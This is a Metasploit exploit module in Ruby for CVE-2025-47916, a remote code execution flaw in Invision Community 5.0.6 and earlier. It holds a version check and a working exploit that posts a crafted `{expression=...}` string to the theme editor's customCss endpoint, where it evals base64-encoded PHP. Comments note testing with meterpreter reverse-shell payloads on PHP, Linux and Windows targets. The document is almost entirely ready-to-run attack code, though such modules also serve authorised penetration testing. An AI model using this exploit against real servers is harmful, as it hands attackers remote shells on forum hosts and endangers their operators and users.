📄 Invision Community 5.0.6 CustomCss Remote Code Execution

##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      include Msf::Payload::Php
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Invision Community 5.0.6 customCss RCE',
            'Description' => %q{
              Invision Community up to and including version 5.0.6 contains a remote code
              execution vulnerability in the theme editor's customCss endpoint. By crafting
              a specially formatted `content` parameter with a `{expression="…"}`
              construct, arbitrary PHP can be evaluated. This module leverages that flaw
              to execute payloads or system commands as the webserver user.
            },
            'Author' => [
              'Egidio Romano (EgiX)', # Vulnerability discovery & original PoC
              'Valentin Lobstein'     # Metasploit module
            ],
            'References' => [
              ['CVE', '2025-47916'],
              ['URL', 'https://karmainsecurity.com/KIS-2025-02'],
              ['URL', 'https://invisioncommunity.com']
            ],
            'License' => MSF_LICENSE,
            'Platform' => %w[php unix linux win],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              [
                'PHP In-Memory',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                  # tested with php/meterpreter/reverse_tcp
                }
              ],
              [
                'Unix/Linux Command Shell',
                {
                  'Platform' => %w[unix linux],
                  'Arch' => ARCH_CMD
                  # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
                }
              ],
              [
                'Windows Command Shell',
                {
                  'Platform' => 'win',
                  'Arch' => ARCH_CMD
                  # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
                }
              ]
            ],
            'DefaultTarget' => 0,
            'DisclosureDate' => '2025-05-16',
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
      end
    
      def check
        path = normalize_uri(target_uri.path, 'admin', 'install', 'eula.txt')
        res = send_request_cgi('uri' => path, 'method' => 'GET')
        unless res&.code == 200 && res.body =~ /^ IPS\ ([\d.]+) /
          return CheckCode::Unknown('Unable to retrieve or parse IPS version from EULA')
        end
    
        version = Rex::Version.new(Regexp.last_match(1))
        print_status("Detected IPS version: #{version}")
    
        if version.between?(Rex::Version.new('5.0.0'), Rex::Version.new('5.0.6'))
          CheckCode::Appears("IPS version #{version} is vulnerable (≤ 5.0.6)")
        else
          CheckCode::Safe("IPS version #{version} is not vulnerable")
        end
      end
    
      # I'll remove this method when PR #20160 is merged. I'm aware of it, thanks
      def php_exec_cmd(encoded_payload)
        vars = Rex::RandomIdentifier::Generator.new
        dis = '$' + vars[:dis]
        encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
        shell = <<-END_OF_PHP_CODE
            #{php_preamble(disabled_varname: dis)}
            $c = base64_decode("#{encoded_clean_payload}");
            #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
        END_OF_PHP_CODE
        return shell
      end
    
      def exploit
        raw = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
        b64 = Rex::Text.encode_base64(raw)
    
        expr = "{expression=\"die(eval(base64_decode('#{b64}')))\"}"
        post_data = {
          'app' => 'core',
          'module' => 'system',
          'controller' => 'themeeditor',
          'do' => 'customCss',
          'content' => expr
        }
    
        print_status("Sending exploit to #{rhost}:#{rport} ...")
        send_request_cgi(
          'uri' => normalize_uri(target_uri.path, 'index.php'),
          'method' => 'POST',
          'vars_post' => post_data
        )
      end
    end